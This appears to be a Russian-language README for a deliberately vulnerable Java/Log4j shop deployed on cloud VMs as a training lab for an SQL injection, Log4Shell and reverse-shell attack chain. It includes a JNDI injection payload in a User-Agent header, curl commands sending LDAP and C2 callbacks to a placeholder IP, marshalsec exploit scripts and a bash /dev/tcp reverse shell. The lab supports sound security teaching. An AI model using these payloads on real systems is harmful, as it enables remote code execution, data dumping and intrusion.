
Преднамеренно уязвимый Java-магазин, размещённый на виртуальной машине — лаборатория для практикума Log4Shell (CVE-2021-44228) (EC2 / Azure VM / GCE)
Умышленно уязвимый классический / традиционный магазин для обучающих семинаров по безопасности — Java на ВМ (EC2, Azure VM или GCP Compute Engine), а не контейнеры.
Основная сюжетная линия: Критическая компрометация ВМ — SQL-инъекция → Log4Shell (CVE-2021-44228) → обратная оболочка к внешнему C2.
[!CAUTION] Не развертывайте в аккаунтах для продакшена. Держите ВМ эфемерными и ограниченными сетью вашей лаборатории.
Магазин Surf Shop от Jay охватывает облачные среды выполнения (ECS / ACA / GKE). TraditionalJay охватывает направление хост / ВМ:
| Surf Shop | TraditionalJay | |
|---|---|---|
| Вычисления | Контейнеры / бессерверные | Одна Linux ВМ |
| Стек | Next.js + Python | Spring Boot + Log4j2 |
| Главная уязвимость (CVE) | Pillow, React2Shell, YAML, … | Log4Shell |
cd app
mvn -DskipTests spring-boot:run
# open http://localhost:8080
# exploit lab: http://localhost:8080/security
Требуются Java 11+ и Maven.
/search выгружает таблицу secrets.2.14.1 к вашему слушателю.bash /dev/tcp к вашему C2-слушателю.# listeners (reachable from the VM)
python3 tools/ldap-listen.py --port 1389
python3 tools/c2-listen.py --port 4444
# or open http://HOST:8080/security and click Run Critical VM Compromise
curl -s -X POST "http://HOST:8080/api/demo/critical-vm-compromise" \
--data-urlencode "ldap_callback=YOUR_IP:1389" \
--data-urlencode "c2_callback=YOUR_IP:4444" | jq .
Только проверка (доказывает исходящий LDAP-запрос):
python3 tools/ldap-listen.py --port 1389
Полное RCE (marshalsec LDAP + удаленный Exploit.class; ВМ намеренно запускается с trustURLCodebase=true):
./tools/setup-marshalsec.sh
./tools/run-log4shell-ldap.sh --codebase-host YOUR_PUBLIC_IP
Затем откройте /security, установите LDAP callback на YOUR_PUBLIC_IP:1389, нажмите Run Log4Shell. В случае успеха ВМ получает /tmp/jss-log4shell-rce, /tmp/jss-log4shell-id.txt и ~45-секундный интерактивный bash (PTY через script, если доступно) для демонстрации сенсора хоста.
Вы также можете выполнить поиск с поддельным User-Agent:
curl -s "http://localhost:8080/search?q=wax" \
-H 'User-Agent: ${jndi:ldap://127.0.0.1:1389/a}' -o /dev/null
Передайте учетные данные Upwind через локальный terraform.tfvars (игнорируемый git). Cloud-init экспортирует их, а scripts/install-vm.sh запускает scripts/install-upwind-sensor.sh.
Память: scanner-v2=true требует ~7 ГБ свободной ОЗУ во время установки (не диск). Стандартный Terraform для AWS использует t3.large (8 ГБ) + 40 ГБ gp3 корневого диска, чтобы сканер не был пропущен (Skipping scanner installation, requires 7000000 kB на меньших инстансах).
curl -s https://get.upwind.io/sensor.sh | \
UPWIND_CLIENT_ID=… \
UPWIND_CLIENT_SECRET=… \
UPWIND_AGENT_EXTRA_CONFIG="scanner-v2=true" \
bash -s
Пример AWS infrastructure/aws/terraform.tfvars:
upwind_client_id = "…"
upwind_client_secret = "…"
upwind_agent_extra_config = "scanner-v2=true"
Если учетные данные пусты, приложение всё равно устанавливается, а шаг с сенсором пропускается.
Рабочий процесс GitHub Actions .github/workflows/build.yml:
v* → Релиз GitHub с fat JARВМ предпочитают последний JAR-релиз через scripts/install-vm.sh и возвращаются к локальной сборке Maven, если релиз ещё не существует. Затем установщик распаковывает fat JAR в /opt/traditionaljay/BOOT-INF/lib/ и запускает JarLauncher, чтобы хост/безагентный SCA мог видеть log4j-core-2.14.1.jar на диске (запуск только java -jar app.jar вкладывает Log4j внутрь zip-архива и часто скрывает CVE-2021-44228 от инвентаризации пакетов).
# cut a release (triggers JAR publish)
git tag v0.1.0 && git push origin v0.1.0
Каждая облачная папка является самостоятельным Terraform. При первой загрузке выполняется scripts/install-vm.sh (OpenJDK 11 + Release JAR или сборка Maven + systemd).
cd infrastructure/aws
terraform init
terraform apply
terraform output application_url
cd infrastructure/azure
terraform init
terraform apply -var="ssh_public_key=$(cat ~/.ssh/id_rsa.pub)"
terraform output application_url
cd infrastructure/gcp
terraform init
terraform apply -var="project_id=YOUR_PROJECT"
terraform output application_url
Первая загрузка занимает несколько минут, пока Maven собирает проект на инстансе. Затем откройте http://PUBLIC_IP:8080/security.
app/ Магазин Spring Boot + интерфейс Log4Shell /security
tools/ldap-listen.py LDAP-слушатель только с баннером (доказательство исходящего вызова)
tools/run-log4shell-ldap.sh Полное RCE LDAP + HTTP-сервер codebase
tools/exploit/Exploit.java Удаленный класс полезной нагрузки для marshalsec
scripts/install-vm.sh Cloud-init / ручной установщик ВМ
infrastructure/aws|azure|gcp
tools/exploit/Exploit.class для реального Log4Shell RCE в изолированных песочницах.-Dcom.sun.jndi.ldap.object.trustURLCodebase=true установлен намеренно (отключен по умолчанию на Java 11+).ldap-listen.py остается для доказательства исходящего LDAP-вызова без выполнения кода.0.0.0.0/0 на 22/8080 — затяните *_ingress_cidr / диапазоны источников для общих лабораторий.